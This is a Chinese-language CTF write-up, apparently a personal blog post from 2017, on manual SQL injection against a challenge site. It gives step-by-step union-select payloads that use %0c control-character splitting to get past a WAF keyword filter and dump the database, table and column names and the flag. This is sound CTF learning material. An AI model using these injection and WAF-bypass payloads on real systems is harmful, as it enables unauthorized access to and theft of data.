入门级SQL手注write_up

Author Avatar
Pr0ph3t 4月 01, 2017
  • 目标URL:http://202.120.7.203/index.php
  1. 查找注入点,点开view article后发现出现参数id
  2. 尝试id=1 and 1=1正常
  3. 尝试id=1 and 1=2时页面什么都不显示,猜测是出现了错误并被屏蔽了
  4. id参数为注入点
  5. 尝试id=1 order by %d正常 (%d取值1,2,3)
  6. 当输入id=1 order by 4时页面不显示,猜测是出现了错误并被屏蔽了 在此能得出表中有3个字段
  7. 然后我们尝试id=0 union select 1 from 1 where 1=1 发现提示Your request is blocked by waf. 所以得知select from where有可能被过滤的关键字
  8. 这样之后就想到了用ascii码的非打印字符绕过关键字的过滤。比如%0c或者%0b
  9. 绕过之后我们先爆数据库名,构造payload id=0 unio%0cn selec%0ct 1,schema_name,3 fro%0cm information_schema.schemata limit 0,1
    通过改变limit的值我们找到了数据库的名称为news
  10. 再爆表名, 构造payload id=0 uni%0con sele%0cct 1,table_name,3 fr%0com information_schema.tables whe%0cre table_schema = (sel%0cect database()) limit 0,1
    其中database()为系统函数,目的是获取当前使用的数据库 爆出有表flag,news,毫无疑问我们需要flag内的flag
  11. 再爆字段名,构造payload id=0 uni%0con sele%0cct 1,column_name,3 fr%0com information_schema.columns whe%0cre table_schema = (sel%0cect database()) limit 0,1
    爆出有字段名为flag,id,content等等,但是看到flag就很开心了。
  12. 最后就是粗暴的select出来了,最后的payload为,id=0 uni%0con sele%0cct 1,flag,3 fr%0com flag limit 0,1
    得出flag为:flag{W4f_bY_paSS_f0R_CI}

–Pr0ph3t 2017.4.1 愚人节快乐

发表评论

电子邮件地址不会被公开。 必填项已用*标注